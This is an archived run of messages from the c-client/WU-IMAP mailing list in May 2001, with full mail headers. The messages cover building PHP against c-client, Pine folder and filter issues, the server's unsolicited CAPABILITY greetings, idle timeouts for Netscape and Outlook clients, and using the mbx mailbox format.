Administrator BirdDog Solutions, Inc. 2102 N 117th Ave Omaha, NE 68164 voice: (402) 829-6059 fax: (402) 829-6199 pager: (877) 973-6995 tdavis@birddog.com www.birddog.com From pinedev@shivax2.cac.washington.edu Thu May 3 08:17:19 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Thu, 3 May 2001 08:17:18 -0700 (PDT) Return-Path: Received: from claven.cac.washington.edu (claven.cac.washington.edu [140.142.32.7]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f43FHHD16163 for ; Thu, 3 May 2001 08:17:17 -0700 (PDT) Received: FROM mx1.cac.washington.edu BY claven.cac.washington.edu ; Thu May 03 08:17:16 2001 -0700 Received: from list4.u.washington.edu (root@list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f43FHEu15604; Thu, 3 May 2001 08:17:14 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f43FD8E04422; Thu, 3 May 2001 08:13:09 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f43Ep10100916 for ; Thu, 3 May 2001 07:51:01 -0700 Received: from ulysses.noc.ntua.gr (ulysses.noc.ntua.gr [147.102.222.230]) by mxu1.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f43EovF31468 for ; Thu, 3 May 2001 07:50:58 -0700 Received: from dblab.ece.ntua.gr (ithaca.dbnet.ece.ntua.gr [147.102.12.1]) by ulysses.noc.ntua.gr (8.9.3/8.9.3) with ESMTP id RAA02621; Thu, 3 May 2001 17:50:53 +0300 (EEST) Received: (from george@localhost) by dblab.ece.ntua.gr (8.11.3/8.11.3) id f43EoqK14219; Thu, 3 May 2001 17:50:52 +0300 Message-Id: <20010503175052.A14175@dblab.ece.ntua.gr> Date: Thu, 3 May 2001 17:50:52 +0300 Reply-To: adamo@dblab.ece.ntua.gr Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Yiorgos Adamopoulos To: Terry BD7NQ Cc: c-client@u.washington.edu Subject: Re: c-client with apache In-Reply-To: <01a301c0d15e$df703e20$cbc8c8c8@hytech.com.cn>; from bd7nq@hellocq.net on Mon, Apr 30, 2001 at 06:18:17PM +0800 References: <01a301c0d15e$df703e20$cbc8c8c8@hytech.com.cn> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline X-URL: http://home.eu.org/~adamo X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Mon, Apr 30, 2001 at 06:18:17PM +0800, Terry BD7NQ wrote: > ./configure --with-mysql --with-apache=../apache_1.3.19 --with-gd --with-ima This is the correction to your configure lin, or at least this is how it works for me: ./configure --with-mysql --with-apache=../apache_1.3.19 \ --with-gd --with-imap=`pwd`/../imap-VERSION-HERE/ Prior to running configure on the PHP directory I have built c-client. --with-imap in fact needs the full (from /) pathname to the imap sources. From pinedev@shivax2.cac.washington.edu Fri May 4 00:58:53 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Fri, 4 May 2001 00:58:52 -0700 (PDT) Return-Path: Received: from claven.cac.washington.edu (claven.cac.washington.edu [140.142.32.7]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f447wpD04874 for ; Fri, 4 May 2001 00:58:51 -0700 (PDT) Received: FROM mx2.cac.washington.edu BY claven.cac.washington.edu ; Fri May 04 00:58:50 2001 -0700 Received: from list4.u.washington.edu (root@list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f447wlC00933; Fri, 4 May 2001 00:58:47 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f447twE26402; Fri, 4 May 2001 00:55:58 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f447rn086120 for ; Fri, 4 May 2001 00:53:50 -0700 Received: from www.scotty.co.at (Scotty-EUnet.AT.EU.net [193.83.12.34]) by mxu3.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f447rgX30092 for ; Fri, 4 May 2001 00:53:48 -0700 Received: from localhost (fl@localhost) by www.scotty.co.at (8.11.0/linuxconf) with ESMTP id f447rfl15335 for ; Fri, 4 May 2001 09:53:41 +0200 Message-Id: Date: Fri, 4 May 2001 09:53:41 +0200 (CEST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Friedrich Lobenstock To: C-Client/WU-IMAP Mailing Liste Subject: pine + IMAP + filter rules + incoming folders MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hi! I use pine to filter incomig mails to sort them into the corresponding folders where they belong. I have incoming folders active to make shortcuts to those folder that all happen to be in the subdir "Mailing Listen". Now when I press tab in the inbox folder pine would not find that there are some new messages in those folders. Can't pine set the resent flags or whatever? Messages like 'Moving 1 filtered message to "Mailing Listen/LVM"' are gone far to fast :( I'm using pine 4.30 -- MfG / Regards Friedrich Lobenstock -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Fri May 4 08:56:20 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Fri, 4 May 2001 08:56:20 -0700 (PDT) Return-Path: Received: from claven.cac.washington.edu (claven.cac.washington.edu [140.142.32.7]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f44FuJD31064 for ; Fri, 4 May 2001 08:56:19 -0700 (PDT) Received: FROM mx2.cac.washington.edu BY claven.cac.washington.edu ; Fri May 04 08:56:18 2001 -0700 Received: from list4.u.washington.edu (root@list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f44FuGC10484; Fri, 4 May 2001 08:56:16 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f44FrcE24882; Fri, 4 May 2001 08:53:38 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f44FqV0112338 for ; Fri, 4 May 2001 08:52:31 -0700 Received: from www.scotty.co.at (Scotty-EUnet.AT.EU.net [193.83.12.34]) by mxu2.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f44FqSK04608 for ; Fri, 4 May 2001 08:52:29 -0700 Received: from localhost (fl@localhost) by www.scotty.co.at (8.11.0/linuxconf) with ESMTP id f44FqQE21758 for ; Fri, 4 May 2001 17:52:26 +0200 Message-Id: Date: Fri, 4 May 2001 17:52:26 +0200 (CEST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Friedrich Lobenstock To: C-Client/WU-IMAP Mailing Liste Subject: Re: pine + IMAP + filter rules + incoming folders In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Fri, 4 May 2001, Friedrich Lobenstock wrote: > Can't pine set the resent flags or whatever? Of course, I meant "recent" ;) -- MfG / Regards Friedrich Lobenstock From pinedev@shivax2.cac.washington.edu Sat May 5 16:17:31 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Sat, 5 May 2001 16:17:30 -0700 (PDT) Return-Path: Received: from claven.cac.washington.edu (claven.cac.washington.edu [140.142.32.7]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f45NHTD06350 for ; Sat, 5 May 2001 16:17:29 -0700 (PDT) Received: FROM mx2.cac.washington.edu BY claven.cac.washington.edu ; Sat May 05 16:17:29 2001 -0700 Received: from list3.u.washington.edu (root@list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f45NHQC16360; Sat, 5 May 2001 16:17:26 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f45NDIX29366; Sat, 5 May 2001 16:13:19 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f45N8x070056 for ; Sat, 5 May 2001 16:08:59 -0700 Received: from www.scotty.co.at (Scotty-EUnet.AT.EU.net [193.83.12.34]) by mxu2.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f45N8vK32317 for ; Sat, 5 May 2001 16:08:58 -0700 Received: from localhost (fl@localhost) by www.scotty.co.at (8.11.0/linuxconf) with ESMTP id f45N8t307406; Sun, 6 May 2001 01:08:55 +0200 Message-Id: Date: Sun, 6 May 2001 01:08:55 +0200 (CEST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Friedrich Lobenstock To: C-Client/WU-IMAP Mailing Liste Subject: pine 4.30 and folder "Ablage/2001/Inbox" on WU-IMAP MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I can perfectly view this folder with Netscape Messenger but not with pine. Pine refuses to show me this folder. Why? Is the name "inbox" not allowed in the name of sub-mail-folders? -- MfG / Regards Friedrich Lobenstock -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Mon May 7 15:06:58 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Mon, 7 May 2001 15:06:58 -0700 (PDT) Return-Path: Received: from claven.cac.washington.edu (claven.cac.washington.edu [140.142.32.7]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f47M6uD29994 for ; Mon, 7 May 2001 15:06:57 -0700 (PDT) Received: FROM mx2.cac.washington.edu BY claven.cac.washington.edu ; Mon May 07 15:06:55 2001 -0700 Received: from list4.u.washington.edu (root@list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f47M6qC09359; Mon, 7 May 2001 15:06:52 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f47M3sE29494; Mon, 7 May 2001 15:03:59 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f47Lud093956 for ; Mon, 7 May 2001 14:56:39 -0700 Received: from cliff.unet.brandeis.edu (cliff.unet.brandeis.edu [129.64.99.34]) by mxu3.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f47LucX27949 for ; Mon, 7 May 2001 14:56:39 -0700 Received: from quixote.unet.brandeis.edu (IDENT:0@quixote.unet.brandeis.edu [129.64.99.99]) by cliff.unet.brandeis.edu (8.9.3/8.9.3/UNet2.1) with ESMTP id RAA01743 for ; Mon, 7 May 2001 17:56:38 -0400 Received: from localhost (rcgraves@localhost) by quixote.unet.brandeis.edu (8.9.3/8.9.1) with ESMTP id RAA22551 for ; Mon, 7 May 2001 17:56:37 -0400 Message-Id: Date: Mon, 7 May 2001 17:56:37 -0400 (EDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Rich Graves To: Subject: Stupid clients and unsolicited CAPABILITY MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN uw imapd recently (late 2000 beta? wasn't in beta6) started giving unsolicited CAPABILITY responses in server greetings and after login: * OK [CAPABILITY IMAP4 IMAP4REV1 X-NETSCAPE LOGIN-REFERRALS STARTTLS AUTH=LOGIN] shemp.unet.brandeis.edu IMAP4rev1 2001.303 at Mon, 7 May 2001 17:36:25 -0400 (EDT) At least one common stupid "imap" client (IMAPNotify from vandyke.com) considers this an illegal greeting. It works if you comment out the relevant bits in imapd.c. What are your thoughts on not doing this? The other IMAP servers to which I made some random telnet connections (Exchange 5.5.2653.23, PMDF5.2-30.4, Cyrus v2.0.10-044, IMAP4rev1 2000.281 running on ftp.cac.washington.edu) don't advertise capabilities unless you ask. Are there any stupid clients out there that assume you don't have some capability unless you make some unsolicited statement that you do support it? I understand that you're saving one network round-trip if a well-behaved client happens to do something useful with the info, but is it worth it? -- Rich Graves UNet Systems Administrator -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Mon May 7 15:18:23 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Mon, 7 May 2001 15:18:23 -0700 (PDT) Return-Path: Received: from claven.cac.washington.edu (claven.cac.washington.edu [140.142.32.7]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f47MIMD15439 for ; Mon, 7 May 2001 15:18:22 -0700 (PDT) Received: FROM mx2.cac.washington.edu BY claven.cac.washington.edu ; Mon May 07 15:18:21 2001 -0700 Received: from list2.u.washington.edu (root@list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f47MIJC09745; Mon, 7 May 2001 15:18:19 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f47MFQp19276; Mon, 7 May 2001 15:15:26 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f47MDt0107860 for ; Mon, 7 May 2001 15:13:56 -0700 Received: from mxout2.cac.washington.edu (mxout2.cac.washington.edu [140.142.33.4]) by mxu3.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f47MDtX00856 for ; Mon, 7 May 2001 15:13:55 -0700 Received: from smtp.washington.edu (smtp.washington.edu [140.142.32.12]) by mxout2.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f47MDto11279; Mon, 7 May 2001 15:13:55 -0700 Received: from shimo-tomobiki.panda.com (D-128-95-67-143.dhcp.washington.edu [128.95.67.143]) (authenticated (0 bits)) by smtp.washington.edu (8.12.0.Beta7+UW01.04/8.12.0.Beta7+UW01.04) with ESMTP id f47MDssX030543 (using TLSv1/SSLv3 with cipher RC4-MD5 (128 bits) verified NO); Mon, 7 May 2001 15:13:55 -0700 Message-Id: Date: Mon, 7 May 2001 15:13:48 -0700 (Pacific Daylight Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Rich Graves Cc: c-client@u.washington.edu Subject: Re: Stupid clients and unsolicited CAPABILITY In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: mrc@cac.washington.edu X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Mon, 7 May 2001, Rich Graves wrote: > At least one common stupid "imap" client (IMAPNotify from vandyke.com) > considers this an illegal greeting. I believe that Vandyke has fixed this bug in an update. > I understand that you're saving one network round-trip if a > well-behaved client happens to do something useful with the info, but is it > worth it? IMHO, anything that causes the fixing (or demise) of a client that does not handle unsolicited data correctly is worth it. IMAP should not be held back by broken software. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. From pinedev@shivax2.cac.washington.edu Mon May 7 15:59:13 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Mon, 7 May 2001 15:59:12 -0700 (PDT) Return-Path: Received: from claven.cac.washington.edu (claven.cac.washington.edu [140.142.32.7]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f47MxBD00043 for ; Mon, 7 May 2001 15:59:12 -0700 (PDT) Received: FROM mx1.cac.washington.edu BY claven.cac.washington.edu ; Mon May 07 15:59:10 2001 -0700 Received: from list3.u.washington.edu (root@list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f47Mx8u20696; Mon, 7 May 2001 15:59:08 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f47Mv1X33760; Mon, 7 May 2001 15:57:02 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f47Mtn0109208 for ; Mon, 7 May 2001 15:55:49 -0700 Received: from cliff.unet.brandeis.edu (cliff.unet.brandeis.edu [129.64.99.34]) by mxu4.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f47Mtms29729 for ; Mon, 7 May 2001 15:55:48 -0700 Received: from quixote.unet.brandeis.edu (IDENT:0@quixote.unet.brandeis.edu [129.64.99.99]) by cliff.unet.brandeis.edu (8.9.3/8.9.3/UNet2.1) with ESMTP id SAA08894 for ; Mon, 7 May 2001 18:55:47 -0400 Received: from localhost (rcgraves@localhost) by quixote.unet.brandeis.edu (8.9.3/8.9.1) with ESMTP id SAA22967 for ; Mon, 7 May 2001 18:55:47 -0400 Message-Id: Date: Mon, 7 May 2001 18:55:47 -0400 (EDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Rich Graves To: Subject: Re: Stupid clients and unsolicited CAPABILITY In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Mon, 7 May 2001, Mark Crispin wrote: > On Mon, 7 May 2001, Rich Graves wrote: > > At least one common stupid "imap" client (IMAPNotify from vandyke.com) > > considers this an illegal greeting. > > I believe that Vandyke has fixed this bug in an update. The only publicly available version is dated 1999. I'll send a note, but losing a client that only does plaintext password is no big loss. > IMHO, anything that causes the fixing (or demise) of a client that does > not handle unsolicited data correctly is worth it. IMAP should not be OK, I'll accept that. While ftp.cac seems to be running the last build that didn't send unsolicited data, I see you're standing by this policy on your deskmail servers. You build with neither MICROSOFT_BRAIN_DAMAGE nor NETSCAPE_BRAIN_DAMAGE defined, correct? Would increasing the idle TIMEOUT (src/imapd/imapd.c line 41) ameliorate the MICROSOFT_BRAIN_DAMAGE problem? LookOut Express is popular here. Any operational considerations against that? We're not low on memory or process slots. Increasing TIMEOUT to 90min has seemed to decrease the incidence of another form of Netscape damage for us... on Windows, Netscape "assumes" that the socket to the sent-mail folder is always open, and gives a confusing error if it closes. -- Rich Graves UNet Systems Administrator From pinedev@shivax2.cac.washington.edu Mon May 7 16:12:33 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Mon, 7 May 2001 16:12:33 -0700 (PDT) Return-Path: Received: from claven.cac.washington.edu (claven.cac.washington.edu [140.142.32.7]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f47NCVD15090 for ; Mon, 7 May 2001 16:12:32 -0700 (PDT) Received: FROM mx2.cac.washington.edu BY claven.cac.washington.edu ; Mon May 07 16:12:31 2001 -0700 Received: from list4.u.washington.edu (root@list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f47NCSC11461; Mon, 7 May 2001 16:12:28 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f47N8jE18872; Mon, 7 May 2001 16:08:46 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f47N7l0107990 for ; Mon, 7 May 2001 16:07:47 -0700 Received: from mxout2.cac.washington.edu (mxout2.cac.washington.edu [140.142.33.4]) by mxu1.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f47N7lF17298 for ; Mon, 7 May 2001 16:07:47 -0700 Received: from smtp.washington.edu (smtp.washington.edu [140.142.32.12]) by mxout2.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f47N7lo23047; Mon, 7 May 2001 16:07:47 -0700 Received: from shimo-tomobiki.panda.com (D-128-95-67-143.dhcp.washington.edu [128.95.67.143]) (authenticated (0 bits)) by smtp.washington.edu (8.12.0.Beta7+UW01.04/8.12.0.Beta7+UW01.04) with ESMTP id f47N7hsX031117 (using TLSv1/SSLv3 with cipher RC4-MD5 (128 bits) verified NO); Mon, 7 May 2001 16:07:46 -0700 Message-Id: Date: Mon, 7 May 2001 16:07:17 -0700 (Pacific Daylight Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Rich Graves Cc: c-client@u.washington.edu Subject: Re: Stupid clients and unsolicited CAPABILITY In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: mrc@cac.washington.edu X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Mon, 7 May 2001, Rich Graves wrote: > OK, I'll accept that. While ftp.cac seems to be running the last build that > didn't send unsolicited data, I see you're standing by this policy on your > deskmail servers. I forget why ftp.cac is even running an IMAP server. That server is definitely not updated. > You build with neither MICROSOFT_BRAIN_DAMAGE nor NETSCAPE_BRAIN_DAMAGE > defined, correct? Right. We're still trying to understand the Netscape and Outlook problems completely. Entourage has added some additional complications. What's in the beta tarball reflects our understanding today, but please keep in mind that this is tenative and we may change our story tommorrow... > Would increasing the idle TIMEOUT (src/imapd/imapd.c line 41) ameliorate > the MICROSOFT_BRAIN_DAMAGE problem? I don't know. The basic problem is that if nothing happens in the timeout period, the session gets dropped and the user complains about not being told about new mail. Unfortunately, Microsoft has told us that they won't be fixing this any time soon. We had a meeting, and they acknowledge that it's their bug, but they have other priorities. > Increasing TIMEOUT to 90min has seemed to decrease the incidence of another > form of Netscape damage for us... on Windows, Netscape "assumes" that the > socket to the sent-mail folder is always open, and gives a confusing error > if it closes. Charming. :-) I wonder how much of an incremental improvement happens between 90 minutes and 8 hours (480 minutes). -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. From pinedev@shivax2.cac.washington.edu Mon May 7 18:18:58 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Mon, 7 May 2001 18:18:58 -0700 (PDT) Return-Path: Received: from claven.cac.washington.edu (claven.cac.washington.edu [140.142.32.7]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f481IvD18167 for ; Mon, 7 May 2001 18:18:57 -0700 (PDT) Received: FROM mx1.cac.washington.edu BY claven.cac.washington.edu ; Mon May 07 18:18:56 2001 -0700 Received: from list2.u.washington.edu (root@list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f481Isu24320; Mon, 7 May 2001 18:18:54 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f481GYp14634; Mon, 7 May 2001 18:16:34 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f481Fw081748 for ; Mon, 7 May 2001 18:15:58 -0700 Received: from cliff.unet.brandeis.edu (cliff.unet.brandeis.edu [129.64.99.34]) by mxu2.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f481FvK30087 for ; Mon, 7 May 2001 18:15:58 -0700 Received: from quixote.unet.brandeis.edu (IDENT:0@quixote.unet.brandeis.edu [129.64.99.99]) by cliff.unet.brandeis.edu (8.9.3/8.9.3/UNet2.1) with ESMTP id VAA22010 for ; Mon, 7 May 2001 21:15:57 -0400 Received: from localhost (rcgraves@localhost) by quixote.unet.brandeis.edu (8.9.3/8.9.1) with ESMTP id VAA23586 for ; Mon, 7 May 2001 21:15:57 -0400 Message-Id: Date: Mon, 7 May 2001 21:15:57 -0400 (EDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Rich Graves To: Subject: Re: Stupid clients and unsolicited CAPABILITY In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Mon, 7 May 2001, Mark Crispin wrote: > I forget why ftp.cac is even running an IMAP server. That server is Anon imap access to this list, which I've actually used a few times. > > form of Netscape damage for us... on Windows, Netscape "assumes" that the > > socket to the sent-mail folder is always open, and gives a confusing error > > if it closes. > > Charming. :-) The stink is it just says "connection refused." No indication to the user that the email has been sent and it's only complaining about Fcc. I think a netscape programmer just forgot to check an error code somewhere. A new connection does get opened, so they can send email without warnings for another 90 min, but this only happens AFTER a nonrecoverable error. > I wonder how much of an incremental improvement happens between 90 minutes > and 8 hours (480 minutes). The summer should be a reasonably safe time to play with this. I'll leave the undergrad server (we split by user class, not alphabet) at 8 hours and see if we get a pileup. For that matter, Linux can kill idle sockets for me, so maybe I'll try 24 hours or even more after Commencement. FWIW, lsof says 5 of the 333 current undergrad imap connections are holding files named "Sent" or "sent-mail" open, whereas 65 of those 333 connections are more than 8 hours old. It might be instructive to mm_log the first time a file is opened read/write, if there's a reasonably place to drop such a call. Is there? I think it's unusual for common clients to access multiple mailboxes in the same stream. Even Pine opens a connection per mailbox. -- Rich Graves UNet Systems Administrator From pinedev@shivax2.cac.washington.edu Mon May 7 18:43:23 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Mon, 7 May 2001 18:43:22 -0700 (PDT) Return-Path: Received: from claven.cac.washington.edu (claven.cac.washington.edu [140.142.32.7]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f481hLD24150 for ; Mon, 7 May 2001 18:43:21 -0700 (PDT) Received: FROM mx1.cac.washington.edu BY claven.cac.washington.edu ; Mon May 07 18:43:20 2001 -0700 Received: from list4.u.washington.edu (root@list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f481hIu24848; Mon, 7 May 2001 18:43:18 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f481fTE21322; Mon, 7 May 2001 18:41:29 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f481en082442 for ; Mon, 7 May 2001 18:40:49 -0700 Received: from www.scotty.co.at (Scotty-EUnet.AT.EU.net [193.83.12.34]) by mxu1.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f481emF19701 for ; Mon, 7 May 2001 18:40:48 -0700 Received: from localhost (fl@localhost) by www.scotty.co.at (8.11.0/linuxconf) with ESMTP id f481ejg06487; Tue, 8 May 2001 03:40:45 +0200 Message-Id: Date: Tue, 8 May 2001 03:40:45 +0200 (CEST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Friedrich Lobenstock To: C-Client/WU-IMAP Mailing Liste Subject: WU-IMAP and mbx MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN How do I change the wu-imap to use mbx mailboxes instead of the normal unix style mailbox as a default. I'm asking this because I would like to change this after the imap server is compiled. So is this possible via writing something in a "magic" config file? I tried mbx and my conclusion is that if more than one client wants to access one account at the same time this mailbox format is better suited. Ok, the filesystem is not NFS, but what else should I take care of? Can I repair those mailboxes by hand if the need arises? -- MfG / Regards 